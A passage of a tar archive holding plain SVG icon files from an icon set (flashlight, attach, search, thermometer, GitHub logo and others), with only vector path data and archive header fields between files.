245.4z"/></svg>collection/icon/svg/md-flashlight.svg000064400000000401151701353760013675 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 298l64 64v118h128V362l64-64V176l-255.2.4L128 298zM234.8 32h42.4v64h-42.4V32zM80 110.4L109.9 80l44.9 45.6-29.9 30.4L80 110.4zm277.1 15.2l45-45.5 29.9 30.4-44.9 45.5-30-30.4z"/></svg>collection/icon/svg/md-attach.svg000064400000001100151701353760013011 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M341.334 128v234.666C341.334 409.604 302.938 448 256 448c-46.937 0-85.333-38.396-85.333-85.334V117.334C170.667 87.469 194.135 64 224 64c29.864 0 53.333 23.469 53.333 53.334v245.333c0 11.729-9.605 21.333-21.334 21.333s-21.333-9.604-21.333-21.333V160h-32v202.667C202.667 392.531 226.135 416 256 416c29.865 0 53.334-23.469 53.334-53.333V117.334C309.334 70.401 270.938 32 224 32s-85.334 38.401-85.334 85.334v245.332C138.667 427.729 190.938 480 256 480c65.062 0 117.334-52.271 117.334-117.334V128h-32z"/></svg>collection/icon/svg/md-search.svg000064400000001004151701353760013015 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337.509 305.372h-17.501l-6.571-5.486c20.791-25.232 33.922-57.054 33.922-93.257C347.358 127.632 283.896 64 205.135 64 127.452 64 64 127.632 64 206.629s63.452 142.628 142.225 142.628c35.011 0 67.831-13.167 92.991-34.008l6.561 5.487v17.551L415.18 448 448 415.086 337.509 305.372zm-131.284 0c-54.702 0-98.463-43.887-98.463-98.743 0-54.858 43.761-98.742 98.463-98.742 54.7 0 98.462 43.884 98.462 98.742 0 54.856-43.762 98.743-98.462 98.743z"/></svg>collection/icon/svg/md-thermometer.svg000064400000000434151701353760014111 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M303 300.2V78.4c0-25.7-21-46.5-47-46.5s-47 20.8-47 46.5v221.9c-29 16.5-48.9 47.8-48.9 83.7 0 53 43 96 96 96s96-43 96-96c0-36-20.1-67.3-49.1-83.8zM240 78.4c0-8 7.7-14.5 16-14.5s16 6.5 16 14.5V128h-32V78.4z"/></svg>collection/icon/svg/ios-attach.svg000064400000001500151701353760013207 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M355.9 161.1c-8.6 0-15.6 7-15.6 15.6v194.4c0 20.3-8 40.4-22 55.1-13.9 14.6-35.2 23.7-55.5 23.7h-13.6c-19.6 0-39.5-8.9-54.8-24.6-15.2-15.5-23.9-35.6-23.9-55.2V119.3c0-14.9 6.2-28.9 17.3-39.5 11.1-10.5 25.7-16.3 41-16.3 15.1 0 29.3 5.8 39.8 16.2 10.5 10.5 16.4 24.6 16.4 39.6v234.2c0 17.1-13.6 32.2-29 32.2-13.6 0-28.2-12.9-28.2-32.2V219.9c0-8.6-7-15.6-15.6-15.6s-15.6 7-15.6 15.6v133.6c0 35.5 25.5 62.3 59.4 62.3 16.5 0 31.7-6.1 42.7-17.3 11.3-11.4 17.5-27.4 17.5-45V119.3c0-23.4-9.1-45.4-25.7-61.8C274 41 252 32 228.5 32s-45.5 9-62.2 25.5c-16.7 16.5-25.9 38.4-25.9 61.9v250.8c0 28.7 12.2 57.9 32.6 78 20.9 20.6 47.9 31.9 76.1 31.9h13.6c27.6 0 55.3-11.7 75.9-32.1 10.2-10.1 18.2-21.7 23.9-34.6 5.9-13.5 8.9-27.7 8.9-42.1V176.7c.1-8.6-6.9-15.6-15.5-15.6z"/></svg>collection/icon/svg/ios-time.svg000064400000000416151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm14 226c0 7.7-6.3 14-14 14h-96c-7.7 0-14-6.3-14-14s6.3-14 14-14h82V128c0-7.7 6.3-14 14-14s14 6.3 14 14v146z"/></svg>collection/icon/svg/ios-flag.svg000064400000000717151701353760012665 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M406.7 80.8c-3.1.5-6.4 1-9.9 1.4-13.2 1.7-42.8 5.2-60.6 5.2-27.7 0-52.8-6.8-78.2-12.2-25.8-5.5-52.4-11.2-80.6-11.2-56.2 0-75.3 12.1-77.3 13.4L96 80.3v353.3c0 7.2 5.2 13.4 12.3 14.3 8.5 1 15.7-5.6 15.7-13.9V279.6c0-3.8 2.7-7.1 6.4-7.9 10.5-2.1 25.8-3.9 47-3.9 26.2 0 50.7 10 76.6 15.5 26.4 5.6 48.6 11.5 83.4 11.5s71.8-6.6 71.8-6.6c3.9-.6 6.9-3.9 6.9-7.9V88.7c-.1-4.9-4.5-8.7-9.4-7.9z"/></svg>collection/icon/svg/ios-log-in.svg000064400000001201151701353760013126 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417 80H137c-25.4 0-46 20.6-46 46 0 7.7 6.3 14 14 14s14-6.3 14-14c0-9.9 8.1-18 18-18h280c9.9 0 18 8.1 18 18v260c0 9.9-8.1 18-18 18H137c-9.9 0-18-8.1-18-18 0-7.7-6.3-14-14-14s-14 6.3-14 14c0 25.4 20.6 46 46 46h280c25.4 0 46-20.6 46-46V126c0-25.4-20.6-46-46-46z"/><path d="M224 334.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l82.6-82.4c4.3-4.3 6.5-9.3 6.5-14.7 0-5.3-2.3-10.3-6.5-14.5l-84.6-84.4c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-5.5 5.5-5.5 14.3 0 19.8l65.2 64.2H63c-7.7 0-14 6.3-14 14s6.3 14 14 14h224.6L224 334.2z"/></svg>collection/icon/svg/ios-remove-circle-outline.svg000064400000000660151701353760016162 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M346.5 240h-181c-8.8 0-16 6-16 16s7.5 16 16 16h181c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-contacts.svg000064400000002062151701353760013373 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M239.208 343.937c-17.78 10.103-38.342 15.876-60.255 15.876-21.909 0-42.467-5.771-60.246-15.87C71.544 358.331 42.643 406 32 448h293.912c-10.639-42-39.537-89.683-86.704-104.063zM178.953 120.035c-58.479 0-105.886 47.394-105.886 105.858 0 58.464 47.407 105.857 105.886 105.857s105.886-47.394 105.886-105.857c0-58.464-47.408-105.858-105.886-105.858zm0 186.488c-33.671 0-62.445-22.513-73.997-50.523H252.95c-11.554 28.011-40.326 50.523-73.997 50.523z"/><g><path d="M322.602 384H480c-10.638-42-39.537-81.691-86.703-96.072-17.781 10.104-38.343 15.873-60.256 15.873-14.823 0-29.024-2.654-42.168-7.49-7.445 12.47-16.927 25.592-27.974 34.906C289.245 341.354 309.146 364 322.602 384zM306.545 200h100.493c-11.554 28-40.327 50.293-73.997 50.293-8.875 0-17.404-1.692-25.375-4.51a128.411 128.411 0 0 1-6.52 25.118c10.066 3.174 20.779 4.862 31.895 4.862 58.479 0 105.886-47.41 105.886-105.872 0-58.465-47.407-105.866-105.886-105.866-37.49 0-70.427 19.703-89.243 49.09C275.607 131.383 298.961 163 306.545 200z"/></g></svg>collection/icon/svg/md-baseball.svg000064400000003114151701353760013321 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M365.9 402.6L343 416.1l-16-28 20.2-11.9c-5.2-8.5-9.8-17.4-13.9-26.7-1.4-3.1-2.7-6.3-3.9-9.5l-25.1 5.8-7.1-31.6 22.6-5.2c-2.8-12.1-4.7-24-5.5-37H290v-32h24.3c.8-12 2.7-24.8 5.5-36.8l-22.6-5.2 7.1-31.6 25.1 5.8c1.3-3.2 2.6-6.4 4-9.6 4.1-9.2 8.7-18.1 13.8-26.6L327 124.1l16-28 22.8 13.5c5.2-6.4 10.8-12.5 16.7-18.3C347.4 64.1 303.5 48 256 48s-91.4 16.1-126.5 43.2c5.9 5.8 11.5 12 16.7 18.3L169 96.1l16 28-20.2 11.9c5.1 8.5 9.8 17.4 13.8 26.6 1.4 3.2 2.7 6.4 4 9.6l25.1-5.8 7.1 31.6-22.6 5.2c2.8 12.1 4.6 24.8 5.5 36.8H222v32h-24.3c-.8 13-2.7 24.9-5.5 37l22.6 5.2-7.1 31.6-25.1-5.8c-1.2 3.2-2.5 6.3-3.9 9.5-4.1 9.2-8.7 18.1-13.9 26.7l20.2 11.9-16 28-22.9-13.5c-5.2 6.3-10.7 12.4-16.6 18.2 35.1 27.1 79 43.2 126.5 43.2s91.4-16.1 126.5-43.2c-5.9-5.8-11.4-11.9-16.6-18.2z"/><path d="M393.8 126l18.1 10.7-16 28-21.2-12.5c-5 8.3-9.5 16.9-13.3 25.9-.2.4-.4.9-.5 1.3l21 4.9-7.1 31.6-23.9-5.5c-2.3 9.7-3.8 19.6-4.6 29.6H370v32h-23.6c.8 10 2.3 20 4.6 29.8l23.9-5.5 7.1 31.6-21 4.9c.2.4.3.8.5 1.2 3.8 9 8.3 17.7 13.3 26l21.1-12.4 16 28-18 10.6c3.3 3.9 6.8 7.7 10.5 11.3l2 2C442 362 464 311.4 464 256s-22-106-57.7-143.4c-.7.7-1.4 1.3-2 2-3.7 3.7-7.2 7.5-10.5 11.4zM118.2 386.1l-18-10.6 16-28 21.1 12.4c5.1-8.3 9.5-17 13.3-26 .2-.4.3-.8.5-1.2l-21-4.9 7.1-31.6 23.9 5.5c2.3-9.8 3.8-19.8 4.6-29.8H142v-32h23.6c-.8-10-2.3-19.9-4.6-29.6l-23.9 5.5-7.1-31.6 21-4.9c-.2-.4-.3-.9-.5-1.3-3.8-9-8.2-17.7-13.3-25.9L116 164.6l-16-28 18.1-10.7c-3.4-3.9-6.9-7.7-10.6-11.4l-2-2C70 150 48 200.6 48 256s22 106 57.7 143.4c.7-.7 1.4-1.3 2-2 3.6-3.6 7.1-7.4 10.5-11.3z"/></svg>collection/icon/svg/md-shirt.svg000064400000000264151701353760012710 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M320 64c-11.1 19.1-40.3 32-64 32s-52.9-12.9-64-32L64 96v96l77-16-13 272h256l-13-272 77 16V96L320 64z"/></svg>collection/icon/svg/ios-beaker.svg000064400000000634151701353760013203 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M445.2 48H128.5C74.1 48 64 75.9 64 88.2c30.3 4.2 32 4.2 32 36.2v275.5c0 35.3 28.9 64 64.2 64H368c35.4 0 63-29.2 63-64.5V89.2c2-17.5 12.5-31.6 13.6-33.3 1.2-1.9 3.4-4.4 3.4-5.5 0-1.2-.3-2.4-2.8-2.4zm-333 29.3c0-.1 0-.1 0 0 6-1 12-1.3 16.3-1.3H405c-.9 3.7-1.5 7.1-1.8 10-.1 1.1-.2 2.1-.2 3.2v70.9-.1H124v-35.5c0-17.6 0-34.2-11.8-47.2z"/></svg>collection/icon/svg/md-business.svg000064400000000743151701353760013414 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M261 149.3V64H48v384h416V149.3H261zm-127.8 256H90.6v-42.7h42.6v42.7zm0-85.3H90.6v-42.7h42.6V320zm0-85.3H90.6V192h42.6v42.7zm0-85.4H90.6v-42.7h42.6v42.7zm85.2 256h-42.6v-42.7h42.6v42.7zm0-85.3h-42.6v-42.7h42.6V320zm0-85.3h-42.6V192h42.6v42.7zm0-85.4h-42.6v-42.7h42.6v42.7zm203 256H261v-42.7h42.6V320H261v-42.7h42.6v-42.7H261V192h160.4v213.3zm-37.6-170.6h-42.6v42.7h42.6v-42.7zm0 85.3h-42.6v42.7h42.6V320z"/></svg>collection/icon/svg/ios-analytics.svg000064400000001066151701353760013741 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zM76 256c0-48.1 18.7-93.3 52.7-127.3S207.9 76 256 76c48.1 0 93.3 18.7 127.3 52.7 32.2 32.2 50.7 74.5 52.6 119.7-8.8-10.3-24.2-24-43.8-24-27.5 0-41.7 25.7-51 42.7-1.4 2.5-2.7 4.9-3.9 7-11.4 19.2-27.3 30-42.5 28.9-13.4-.9-24.8-11.2-32.2-28.8-9.2-22.1-29.1-45.8-52.9-49.2-11.3-1.6-28.1.8-44.7 21.4-3.2 4-6.9 9.4-11.1 15.6-10.4 15.5-26.2 38.8-38.1 40.8-17.3 2.8-30.9-7.5-36.4-12.3-2.2-11.2-3.3-22.8-3.3-34.5z"/></svg>collection/icon/svg/logo-playstation.svg000064400000002422151701353760014464 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399.8 203c-.8-17.1-3.3-34.5-10.8-50.1-4.1-8.6-9.7-16.5-16.5-23.2-6.3-6.4-13.6-11.7-21.3-16.3-17.1-10.2-37.5-17-84.4-31S192 64 192 64v358.3l79.9 25.7s.1-198.8.1-299.5v-3.8c0-9.3 7.5-16.8 16.1-16.8h.5c8.5 0 15.5 7.5 15.5 16.8V278c11 5.3 29.2 9.3 41.8 9.1 8.3.2 16.7-1.7 24-5.7 7.6-4.1 13.9-10.4 18.4-17.8 5.1-8.3 8.2-17.8 9.9-27.3 1.9-10.8 2-22.1 1.6-33.3zM86.7 357.8c27.4-9.8 89.3-29.5 89.3-29.5v-47.2s-76.5 24.8-111.3 37.1c-8.6 3.1-17.3 5.9-25.7 9.5-9.8 4.1-19.4 8.7-28.1 14.8-3.8 2.6-7.2 5.9-9.2 10.1s-2.2 9.2-.5 13.6c2 5.1 5.8 9.3 10.1 12.6 7.8 5.9 17.1 9.5 26.4 12.2 28.4 9.4 58.4 14 88.4 13.3 14.5-.2 36-1.9 50-4.4v-42s-11 2.5-41.3 12.5c-4.6 1.5-9.2 3.3-14 4.3-7.1 1.6-14.4 2.1-21.6 2.2-6.5-.3-13.2-.7-19.3-3.1-2.2-1-4.6-2.2-5.5-4.6-.8-2 .3-4 1.7-5.4 2.8-2.9 6.8-4.5 10.6-6z"/><path d="M512 345.9c-.1-6-3.7-11.2-7.9-15-7.1-6.3-15.9-10.3-24.7-13.5-5.5-1.9-9.3-3.3-14.7-5-25.2-8.2-51.9-11.2-78.3-11.3-8 .3-23.1.5-31 1.4-21.9 2.5-67.3 15.4-67.3 15.4v48.8s67.5-21.6 96.5-31.8c9.7-3.3 20.1-4.6 30.3-4.6 6.5.2 13.2.7 19.4 3.1 2.2.9 4.5 2.2 5.5 4.5.9 2.6-.9 5-2.9 6.5-4.7 3.8-10.7 5.3-16.2 7.4-41 14.5-132.7 44.7-132.7 44.7v47s117.2-39.6 170.8-58.8c8.9-3.3 17.9-6.1 26.4-10.4 7.9-4 15.8-8.6 21.8-15.3 3.1-3.6 5-8 5-13.1z"/></svg>collection/icon/svg/ios-bicycle.svg000064400000002125151701353760013361 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M125.3 289.3c17.3 0 33.7 6.8 46.1 19.2 12.4 12.4 19.2 28.8 19.2 46.1s-6.8 33.7-19.2 46.1c-12.4 12.4-28.8 19.2-46.1 19.2s-33.7-6.8-46.1-19.2C66.8 388.4 60 372 60 354.7s6.8-33.7 19.2-46.1c12.4-12.4 28.8-19.3 46.1-19.3m0-28c-51.3 0-93.3 42-93.3 93.3C32 406 74 448 125.3 448s93.3-42 93.3-93.3c.1-51.4-41.9-93.4-93.3-93.4zM319.8 127.8c17.8 0 32-14.2 32-32S337.8 64 320 64s-32.2 14-32.2 31.8c0 17.7 14.3 32 32 32zM386.7 289.3c17.3 0 33.7 6.8 46.1 19.2 12.4 12.4 19.2 28.8 19.2 46.1s-6.8 33.7-19.2 46.1C420.4 413.2 404 420 386.7 420s-33.7-6.8-46.1-19.2c-12.4-12.4-19.2-28.8-19.2-46.1s6.8-33.7 19.2-46.1c12.3-12.4 28.7-19.3 46.1-19.3m0-28c-51.3 0-93.3 42-93.3 93.3s42 93.3 93.3 93.3 93.3-42 93.3-93.3-42-93.3-93.3-93.3z"/><path d="M368 192h-48l-29.5-60.1c-5.6-9.3-15.9-15.9-27.1-15.9-8.4 0-16.8 3.7-22.4 9.3l-71.7 69.1c-5.6 5.6-9.3 14-9.3 22.4 0 17.4 12.6 23.6 18.5 27.1C224 270.1 240 273 240 286.1V352c0 8.8 7.2 16 16 16s16-7.2 16-16v-90c0-13.2-30.4-24-48.3-38l48.9-51.5c18.7 28.5 27.3 51.5 38 51.5H368c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>collection/icon/svg/md-heart-half.svg000064400000000675151701353760013600 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64 97.9 64 48 114.2 48 179.1c0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2C393.3 322.4 464 258.6 464 179.1 464 114.2 414.1 64 349.6 64zM256 406V157.7l24.5-29.1c17.1-20.4 43-32.5 69.1-32.5 22.6 0 43.4 8.4 58.7 23.8 15.3 15.4 23.7 36.5 23.7 59.3 0 29-12.5 57.5-40.4 92.2C362.8 307 306.4 359.7 256 406z"/></svg>collection/icon/svg/md-play-circle.svg000064400000000314151701353760013757 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm-41.6 301.6V162.4L339.2 256l-124.8 93.6z"/></svg>collection/icon/svg/ios-cut.svg000064400000002504151701353760012543 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M308 277.2c25.5-33 80.5-111.5 90.2-135.4 7.2-17.6 10.6-32.8 10.4-46.2-.2-17.9-6-29.3-18.3-40.6-5.2-4.8-13.5-6.9-20-6.9L255.9 201.7l-10 13.4-2.9 3.9-.1.1-14.5 19.7c-.1.1-.2.3-.3.4-.5.8-7.5 10.9-15.2 22.7-3 4.6-6.1 9.5-9 14.1-3.5 5.6-6.6 11-8.8 15.2-3.6 7.1-7.3 14.4-10.7 21.5-3.7 7.5-7.2 14.6-10.4 20.7-10.2-7.3-22-11.1-34.3-11.1-17.5 0-33.7 7.7-45.8 21.6C82.4 357.1 76 374.6 76 393.1c0 18.5 6.4 36 17.9 49.3 12.1 13.9 28.4 21.6 45.8 21.6 14.4 0 28-5.2 39.2-15 10.5-9.1 18-21.3 21.8-35.4 1-3.1 11.6-34.7 26.1-57.3 9.2-14.4 22.2-23.4 29.6-27.8l13.5-9.7c0 .1 12.7-8.7 38.1-41.6zM139.9 421.1c-13.3 0-24-12.6-24-28s10.7-28 24-28 24 12.6 24 28c0 15.5-10.8 28-24 28zm116.2-132.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/><path d="M191.5 260.4c.7 1 1.6 1.9 2.5 2.7 1.7-2.8 3.6-5.7 5.4-8.6l46.5-65.8L140.9 48c-8.9 0-14.4.9-18.5 3.9-11.9 8.9-19.1 25.6-19.3 43.6-.2 13.5 3.3 28.6 10.4 46.2 8.6 21 42.6 70.2 78 118.7zM372 322.3c-12.3 0-24.1 3.8-34.3 11.1-3.2-6.1-6.7-13.2-10.4-20.7-3.4-6.9-6.9-14-10.4-20.8L306 305.8l-36.4 33.1c5.2 4.6 10.7 10.4 15.3 17.5 14.5 22.6 25 54.2 26 57.3 3.8 14.1 11.3 26.3 21.8 35.4 11.3 9.8 24.9 15 39.2 15 35.3 0 64-31.8 64-70.9s-28.6-70.9-63.9-70.9zm.1 98.8c-13.3 0-24-12.6-24-28s10.7-28 24-28 24 12.6 24 28c0 15.5-10.7 28-24 28z"/></svg>collection/icon/svg/md-arrow-dropleft.svg000064400000000151151701353760014521 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M320 128L192 256l128 128z"/></svg>collection/icon/svg/ios-pie.svg000064400000000624151701353760012526 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M276 68.1v219c0 3.7-2.5 6.8-6 7.7L81.1 343.4c-2.3.6-3.6 3.1-2.7 5.4C109.1 426 184.9 480.6 273.2 480c114.6-.7 206.8-93.5 206.8-208 0-112.1-88.6-203.5-199.8-207.8-2.3-.1-4.2 1.7-4.2 3.9z"/><path d="M32 239.3s.2 48.8 15.2 81.1c.8 1.8 2.8 2.7 4.6 2.2l193.8-49.7c3.5-.9 6.4-4.6 6.4-8.2V36c0-2.2-1.8-4-4-4C91 33.9 32 149 32 239.3z"/></svg>collection/icon/svg/md-time.svg000064400000000567151701353760012523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><g fill-opacity=".9"><path d="M255.8 48C141 48 48 141.2 48 256s93 208 207.8 208c115 0 208.2-93.2 208.2-208S370.8 48 255.8 48zm.2 374.4c-91.9 0-166.4-74.5-166.4-166.4S164.1 89.6 256 89.6 422.4 164.1 422.4 256 347.9 422.4 256 422.4z"/><path d="M266.4 152h-31.2v124.8l109.2 65.5 15.6-25.6-93.6-55.5V152z"/></g></svg>collection/icon/svg/md-exit.svg000064400000000650151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M215.469 332.802l29.863 29.864L352 256 245.332 149.333l-29.863 29.865 55.469 55.469H64v42.666h205.864l-54.395 55.469zM405.334 64H106.666C83.198 64 64 83.198 64 106.666V192h42.666v-85.333h298.668v298.668H106.666V320H64v85.334C64 428.802 83.198 448 106.666 448h298.668C428.802 448 448 428.802 448 405.334V106.666C448 83.198 428.802 64 405.334 64z"/></svg>collection/icon/svg/ios-thermometer.svg000064400000000752151701353760014306 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M309.8 304.6c-4.3-3-6.9-7.9-6.9-13.1v-213c0-25.7-21-46.5-47-46.5s-47 20.8-47 46.5v213c0 5.2-2.6 10.2-6.9 13.1-25.2 17.3-42 46.4-42 79.3 0 53 43 96 96 96s96-43 96-96c0-32.9-17-62.1-42.2-79.3zM256.1 445c-32 0-58.1-26.3-58.1-58.8 0-25.4 15.4-47.1 37.9-55.3 3.2-1.2 5.4-4.1 5.4-7.5V180.2c0-8 6.5-14.5 14.5-14.5s14.5 6.5 14.5 14.5v143.2c0 3.4 2.1 6.3 5.3 7.5 21.9 8.2 38.4 29.9 38.4 55.2 0 32.5-25.8 58.9-57.9 58.9z"/></svg>collection/icon/svg/logo-closed-captioning.svg000064400000002554151701353760015525 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 96v320h448V96H32zm406 159.8c0 23.4-1.4 41.2-3.3 70.2s-16.8 49.4-51.7 52.6c-34.9 3.2-83.8 3.5-127 3.4-42.9.1-92-.1-127-3.4-34.9-3.2-49.7-23.6-51.7-52.6S74 279.2 74 255.8c0-23.4.1-38.6 3.3-70.2s20.1-49.2 51.7-52.4 86-3.2 127-3.2 95.4 0 127 3.2c31.6 3.2 48.5 20.9 51.7 52.4 3.2 31.6 3.3 46.9 3.3 70.2z"/><path d="M357.5 280.4v.7c0 16.3-10.1 25.9-23.6 25.9-13.5 0-22.6-10.8-23.9-25.9 0 0-1.2-7.9-1.2-23.9s1.4-26 1.4-26c2.4-17 10.7-25.9 24.2-25.9 13.4 0 24.1 11.6 24.1 29.2v.5h45.1c0-21.9-5.5-41.6-16.6-54-11-12.4-27.5-18.6-49.3-18.6-10.9 0-20.9 1.4-30 4.3-9.1 2.9-17 7.9-23.6 15.1-6.6 7.2-11.7 16.8-15.4 28.9-3.6 12.1-5.5 27.3-5.5 45.7 0 18 1.5 33 4.4 45.1 3 12.1 7.3 21.7 13.1 28.9 5.8 7.2 13.1 12.2 21.8 15 8.8 2.8 19.1 4.2 30.9 4.2 25 0 43-6.4 53.8-18.7 10.8-12.3 16.2-30.3 16.2-53.9h-46.1c.2 0 .2 2.5.2 3.4zM202.6 280.4v.7c0 16.3-10.1 25.9-23.6 25.9-13.5 0-22.6-10.8-23.9-25.9 0 0-1.2-7.9-1.2-23.9s1.4-26 1.4-26c2.4-17 10.7-25.9 24.2-25.9 13.4 0 24.1 11.6 24.1 29.2v.5h45.1c0-21.9-5.5-41.6-16.6-54-11-12.4-27.5-18.6-49.3-18.6-10.9 0-20.9 1.4-30 4.3-9.1 2.9-17 7.9-23.6 15.1-6.6 7.2-11.7 16.8-15.4 28.9-3.6 12.1-5.5 27.3-5.5 45.7 0 18 1.5 33 4.4 45.1 3 12.1 7.3 21.7 13.1 28.9 5.8 7.2 13.1 12.2 21.8 15 8.8 2.8 19.1 4.2 30.9 4.2 25 0 43-6.4 53.8-18.7 10.8-12.3 16.2-30.3 16.2-53.9h-46.1c.2 0 .2 2.5.2 3.4z"/></svg>collection/icon/svg/logo-github.svg000064400000001545151701353760013404 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.3 32 32 134.9 32 261.7c0 101.5 64.2 187.5 153.2 217.9 1.4.3 2.6.4 3.8.4 8.3 0 11.5-6.1 11.5-11.4 0-5.5-.2-19.9-.3-39.1-8.4 1.9-15.9 2.7-22.6 2.7-43.1 0-52.9-33.5-52.9-33.5-10.2-26.5-24.9-33.6-24.9-33.6-19.5-13.7-.1-14.1 1.4-14.1h.1c22.5 2 34.3 23.8 34.3 23.8 11.2 19.6 26.2 25.1 39.6 25.1 10.5 0 20-3.4 25.6-6 2-14.8 7.8-24.9 14.2-30.7-49.7-5.8-102-25.5-102-113.5 0-25.1 8.7-45.6 23-61.6-2.3-5.8-10-29.2 2.2-60.8 0 0 1.6-.5 5-.5 8.1 0 26.4 3.1 56.6 24.1 17.9-5.1 37-7.6 56.1-7.7 19 .1 38.2 2.6 56.1 7.7 30.2-21 48.5-24.1 56.6-24.1 3.4 0 5 .5 5 .5 12.2 31.6 4.5 55 2.2 60.8 14.3 16.1 23 36.6 23 61.6 0 88.2-52.4 107.6-102.3 113.3 8 7.1 15.2 21.1 15.2 42.5 0 30.7-.3 55.5-.3 63 0 5.4 3.1 11.5 11.4 11.5 1.2 0 2.6-.1 4-.4C415.9 449.2 480 363.1 480 261.7 480 134.9 379.7 32 256 32z"/></svg>collection/icon/svg/md-stopwatch.svg000064400000001152151701353760013570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232 306.667h48V176h-48v130.667z"/><path d="M407.67 170.271l30.786-30.786-33.942-33.941-30.785 30.786C341.217 111.057 300.369 96 256 96 149.961 96 64 181.961 64 288s85.961 192 192 192 192-85.961 192-192c0-44.369-15.057-85.217-40.33-117.729zm-45.604 223.795C333.734 422.398 296.066 438 256 438s-77.735-15.602-106.066-43.934C121.602 365.735 106 328.066 106 288s15.602-77.735 43.934-106.066C178.265 153.602 215.934 138 256 138s77.734 15.602 106.066 43.934C390.398 210.265 406 247.934 406 288s-15.602 77.735-43.934 106.066zM192 32h128v48H192z"/></svg>collection/icon/svg/md-git-merge.svg000064400000001262151701353760013436 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 224c-23.7 0-44.4 12.9-55.4 32-18.3-.5-52.4-4.1-75.5-18.1-32.3-19.4-64.6-53.1-87-90.5 15.7-11.7 26-30.3 26-51.4 0-35.3-28.7-64-64-64S64 60.7 64 96c0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4V244.2c18.7 19.4 39.1 36 60 48.6 38.8 23.4 87 26.9 108.6 27.3 11.1 19.1 31.7 31.9 55.4 31.9 35.3 0 64-28.7 64-64s-28.7-64-64-64zM88 96c0-22.1 17.9-40 40-40s40 17.9 40 40-17.9 40-40 40-40-17.9-40-40zm80 320c0 22.1-17.9 40-40 40s-40-17.9-40-40 17.9-40 40-40 40 17.9 40 40zm216-88c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>collection/icon/svg/md-stats.svg000064400000000235151701353760012713 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M176 64h64v384h-64zM80 336h64v112H80zM272 272h64v176h-64zM368 176h64v272h-64z"/></svg>collection/icon/svg/ios-photos.svg000064400000000475151701353760013271 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 144H128c-17.6 0-32 14.4-32 32v240c0 17.6 14.4 32 32 32h336c17.6 0 32-14.4 32-32V176c0-17.6-14.4-32-32-32z"/><path d="M100 116h332V96c0-17.6-14.4-32-32-32H48c-17.6 0-32 14.4-32 32v256c0 17.6 14.4 32 32 32h20V148c0-17.6 14.4-32 32-32z"/></svg>collection/icon/svg/ios-flashlight.svg000064400000000723151701353760014076 